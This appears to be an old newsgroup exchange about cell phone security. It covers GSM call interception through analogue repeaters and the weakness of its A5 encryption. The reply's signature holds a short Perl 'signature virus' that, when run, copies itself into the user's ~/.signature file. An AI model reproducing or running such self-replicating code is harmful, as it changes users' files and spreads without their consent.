As one who will be shopping for a cell phone in the next week, what should I look for in terms of security? What features are available in phones on the market....if any?
I guess in theory GSM is the most secure. Only in practice its not. Many of the signals from GSM calls can and in some places (e.g. where I live in NZ) go via analogue repeaters so the call can still be heard of scanners.... Some places do (and we will soon) have digital repeaters or fiber-optic repeater links that can't be heard on a scanner.... If someone does really want to listen in on your calls though, they can even with it being encrypted. The encryption is believe to be a crippled version of A5 and many people claim to have made devices (usually be re-programming and hack GSM phones themselves) to decrypt the messages anyway.... Hope this helps... ------------------------------------------------------------------------------ Chris Wedgwood <cwedgwood@mserve.kiwi.gen.nz> Finger for PGP Key ------------------------------------------------------------------------------ #! /usr/bin/perl open(I,"$0");@a=(<I>);shift(@a) until $a[0] =~ /^#!/; open(I,">>$ENV{'HOME'}/.signature");print I @a;__END__ <perl signature virus V2.0 - do 'perl -x articlename'>
